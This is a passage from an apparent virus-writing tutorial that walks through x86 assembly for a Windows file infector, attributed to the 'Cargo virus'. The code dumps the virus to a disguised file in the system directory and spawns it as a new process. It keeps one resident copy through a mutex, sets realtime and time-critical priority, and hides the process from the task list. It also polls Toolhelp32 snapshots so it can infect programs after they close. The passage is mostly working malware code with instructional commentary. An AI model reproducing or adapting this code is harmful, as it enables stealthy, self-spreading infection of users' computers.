add esi, IMAGE_FILE_HEADER_SIZE ; go to optional header
mov edx, [esi.OH_FileAlignment] ; save file alignment
mov [ebp+filealign], edx ;
add esi, IMAGE_OPTIONAL_HEADER_SIZE ; go to the first section
header
mov ecx, IMAGE_SECTION_HEADER_SIZE ; multiplicator
mul ecx ; obtain all section
headers size
mov edx, eax ; save it to edx
push edx ; and save it on the stack
add esi, eax ; go at the end
Now we are at the end of all the headers and we can write them
down
in the destination file:
push esi ; write down all the
headers
sub esi, [ebp+imagebase] ; in the file to the new
dest
push 0 ; file.
lea edx, nob ;
push edx ;
push esi ;
push [ebp+imagebase] ;
push [ebp+filehandle] ;
call [ebp+_WriteFile] ;
pop esi ;
And now starts the hard part. Dumping the section bodies.
First we
locate the first section header:
pop edx ; restore section headers
size
pop ecx ; cx = number of sections
sub esi, edx ; go to the first section
header
;
pushad ; save all regs
Now, even if the section bodies *should* be in turn as the
section
headers show, we must be sure that we locate first the smallest
pointer to
raw data:
pushad ; save all regs
mov edi, 09999999h ; now we will try to locate
the
; smallest PointerToRawData
to
locate_smallest_pointer: ; know which section body
comes
mov eax, [esi.SH_PointerToRawData] ; first, in case they are
cmp eax, edi ; mangled relative to their
jnb still_smaller ; headers.
xchg eax, edi ;
;
still_smaller: ;
add esi, IMAGE_SECTION_HEADER_SIZE ;
loop locate_smallest_pointer ;
mov [ebp+temp], edi ;
popad ; restore registers
After doing this, we must pad a little, because the first
section
body must start at a multiple of file alignment:
push ecx ;
push edx ;
push 1 ;
push 0 ;
push 0 ;
push [ebp+filehandle] ;
call [ebp+_SetFilePointer] ; get in EAX how much we
wrote
pop edx ; already in the
destination
pop ecx ; file.
;
mov edi, [ebp+temp] ; EDI is the first data
offset
sub edi, eax ; and we must pad with the
add esi, edx ; difference!!
;
push 0 ;
lea eax, nob ;
push eax ;
push edi ;
push esi ;
push [ebp+filehandle] ;
call [ebp+_WriteFile] ; write difference!!
;
popad ; restore regs
And now we come to the real section dump part:
section_dump_loop: ; now let's dump the
sections
push ecx ; bodies.
mov edi, [esi.SH_VirtualAddress] ; take it from memory,
aligned
add edi, [ebp+imagebase] ; to imagebase
mov eax, dword ptr [esi.SH_VirtualSize]; now choose the smallest
between
mov ecx, dword ptr [esi.SH_SizeOfRawData]; VirtualSize and
SizeOfRawData
cmp ecx, eax ; to solve the
Borland/MicroSoft
jnb ok_ ; difference in linking.
xchg eax, ecx ;
Eax now holds the unaligned size of the section. In memory
it is
aligned to section align, and we must realign it to file align:
ok_:
mov ecx, [ebp+filealign] ; now we must align the
size
push eax ; before alignment to the
push ecx ; file alignment, because
in
xor edx, edx ; memory it was aligned to
div ecx ; section alignment
cmp edx, 0 ;
jne more ;
pop ecx ;
pop eax ;
jmp no_more ;
;
more: ;
pop ecx ;
sub ecx, edx ;
pop eax ;
add eax, ecx ; eax= size aligned
And now it's time to write the section body to disk:
no_more: ;
push 0 ; write the section to the
lea ecx, nob ;
push ecx ; file...
push eax ;
push edi ;
push filehandle ;
call [ebp+_WriteFile] ;
...And continue until the last section:
pop ecx ; restore index
add esi, IMAGE_SECTION_HEADER_SIZE ; get next section...
loop section_dump_loop ;
Now, we close the destination file and...
push [ebp+filehandle] ; close destination file!
call [ebp+_CloseHandle] ;
...we are over with the file dumping. Simple, huh?
A few little things to say first about the name of the spawned
file.
First of all it can be anything, no need for an .exe extension.
Second of
all, the best place to hide it would be the windows system directory,
and,
in my opinion, the best name would be .dll. Your imagination
here!
'DDDDDDDDDDDDDDDDDDD?
? Running the virus ?
ADDDDDDDDDDDDDDDDDDDSCH
Now, our spawned file is on the hdd. All we need to do is run it
as a
new process in the system. For this we must first retrieve the
startup
information which we will use later:
go_res: ; let's go resident!
lea eax, [ebp+startupinfo] ;
push eax ; get the startup info
call [ebp+_GetStartupInfoA] ;
The pointer to the startup information is used by the
call to
CreateProcess, where we start the new process:
lea eax, [ebp+processinfo] ;
push eax ; and spawn ourselves
lea eax, [ebp+startupinfo] ;
push eax ;
push 0 ;
push 0 ;
push 67108928h ;
push 0 ; do not inherit handles
push 0 ;
push 0 ;
lea eax, [ebp+spawnname] ;
push eax ;
push 0 ;
call [ebp+_CreateProcessA] ; Run the Process!!
After creating the process, the handle of the new started
process
remains opened, therefore we must close it:
lea esi, [ebp+processinfo] ; close the new process
handle
push [esi.PI_hProcess] ;
call [ebp+_CloseHandle] ;
And now, the final steps of this part of the virus:
push 1000 ; allow new process to
start
call [ebp+_Sleep] ;
;
jmp exit ; return to host!
After this, the host continues running, while the new spawned
copy of
the virus has just started and begin execution. If you look a little
above,
where we check the residency status, we checked if the mutex already
existed
or not. If it already exists, and this is the situation for the new
spawned
copy that just started, the execution continues at the next label.
Here we
must do again the mutex trick, because if somebody runs by hand the
spawned
copy again, the stuff might get complicated, so we must be assured
that the
code didn't pass through this gate twice:
spawned: ;
lea eax, [ebp+mutex2] ;
push eax ;
push 1 ; If the mutex already
existed
push 0 ; it means we are already
call [ebp+_CreateMutexA] ; resident, otherwise we
must
call [ebp+_GetLastError] ; quit!
or eax, eax ;
jnz exit ;
Now, that we are inside the resident copy of our virus, we
must do
all the stuff needed to give us maximum strength. First we must get
our own
handle and set ourself to Realtime Priority Class (highest):
call [ebp+_GetCurrentProcess] ; get then current process handle
push 100h ; realtime priority class
push eax ; handle of current process
call [ebp+_SetPriorityClass] ; set priority to realtime
Now, for Windos95/98 we can register our process as a service
in the
system, which hides our process from the CTRL-ALT-DEL list. This will
*NOT*
work on WindowsNT or Windows2000:
push 1 ; Register the current running
push 0 ; process as a service.
call [ebp+_RegisterServiceProcess];
Now, to have even more strength, we are about to create a new
thread
and set it to the highest priority. We have to create it
suspended and
resume it later:
lea eax, [ebp+threadid] ; Prepare to create a new thread
for
push eax ; the current process.
push 4 ; Create it Suspended
push 0 ;
lea eax, [ebp+VirusThread] ;
push eax ;
push 0h ;
push 0 ;
call [ebp+_CreateThread] ; do it!
;
mov [ebp+hthread], eax ; save thread handle
The new thread, where our virus will do the actual system
monitoring
is given by the address of the "VirusThread" procedure.
After creating the thread (you could check for errors also),
let us
set the priority of the new thread to Time Critical. This will give our
code
a priviledge level of 31, the highest possible. This is because the
time
critical thread is combined with a realtime class process:
push 15 ; set thread priority to
push [ebp+hthread] ; TIME_CRITICAL
call [ebp+_SetThreadPriority] ;
And now, let's resume the thread:
push [ebp+hthread] ;
call [ebp+_ResumeThread] ; start thread
The currently running thread is useless now, so we can safely
freeze
it until the other one ends. This is done by waiting for the new
thread's
handle to become signaled:
push -1 ; stop current thread and wait for
push [ebp+hthread] ; the other to finish
call [ebp+_WaitForSingleObject];
If the other thread ends, our spawned process will end also:
push 0 ; quit...
call [ebp+_ExitProcess] ;
And now let's concentrate on the actual part of the virus. The
part
which monitors the system. Let me explain once again what we have here.
Here
we have a running process, with a running thread, set to the
highest
priority possible, and invisible in the system. I hope you
realize the
strength we have now... All we need to do is find a way to check when
one of
the running processes ends, so we can infect it after closing. The
method I
will present here is the one I use in the Cargo virus. There, I
create 2
arrays of strings. I first fill up one of them, and then, from time to
time
I fill the other array and compare them. As soon as one name
dissapeares, I
infect it.
How do I get the names of the running processes? I do it
using the
toolhelp32 stuff. The apis used are as follows:
CreateToolhelpSnapshot32
Process32First
Process32Next
The first api gives us a so called snapshot handle, which is
passed
to the next two apis. The next two apis fill up a structure
called
PROCESSENTRY32, where, among all the data, we have the full
pathname and
file name for each and every running processes. I will only give
you a
guideline to the virus thread, as the meaning of this article was to
show
you how to go resident. If you want to know all the stuff exactly
check the
Cargo source code.
Now let's see how we do here... First we must retake the delta
handle
because the new thread destroys it:
VirusThread proc near ; This is the resident part.
call thread_delta ; we must get the delta again
because
; EBP gets smashed...
thread_delta: ;
pop ebp ;
sub ebp, offset thread_delta ;
And now, the main system look up loop:
again_again: ;
call FillFirstArray ; Create the first process names
array
;
again: ;
cmp [ebp+error], 1 ; if there was an error, abort!
je exit_thread ;
push 500 ;
call [ebp+_Sleep] ; sleep half a second
call FillSecondArray ; Create the second process names
array
call CompareArrays ; compare the arrays
jnc again ; and loop...
jmp again_again ;
If an error occurs, we can safely quit:
exit_thread: ;
push 0 ; finish current thread...
call [ebp+_ExitThread] ;
FillFirstArray proc near ;
... ;
FillFirstArray endp ;
;
FillSecondArray proc near ;
... ;
FillSecondArray endp ;
Here we have the procedure that locates all the running
processes in
the system:
WalkProcesses proc near ; Get the running processes...
push 0 ; snap for the current process
push 2 ; snap processes
call [ebp+_CreateToolhelp32Snapshot] ; create toolhelp handle
mov [ebp+t32h], eax ; save toolhelp handle
cmp eax, -1 ; was it a failure?
je exit ;
;
lea eax, [ebp+process32] ; point the process32 structure
push eax ;
mov ecx, dword ptr [ebp+t32h] ;
push ecx ;
call [ebp+_Process32First] ; get first process
or eax, eax ; no process?
jz exit ; (thx JQwerty for the bug
solving!)
;
call init_memo ; init memory array!
cmp [ebp+error], 1 ; if error, it means we don't have
je no_next ; enough memory...
;
next: ;
lea eax, [ebp+process32] ; get next process
push eax ;
mov ecx, dword ptr [ebp+t32h] ;
push ecx ;
call [ebp+_Process32Next] ;
or eax, eax ;
jz no_next ;
call incr_memo ; increment memory array!
cmp [ebp+error], 1 ;
je no_next ;
jmp next ;
;
no_next: ;
push [ebp+t32h] ; close the toolhelp handle...
call [ebp+_CloseHandle] ;
ret ;
The calls to init_memo and incr_memo routines are not
relevant for
this article. Just check them in the source of the Cargo virus.
Everytime we notice that one process has ended, we can
call a
routine, like for example the one that follows. This one displays a
message
box with the name of the closed process:
HandleClosedProc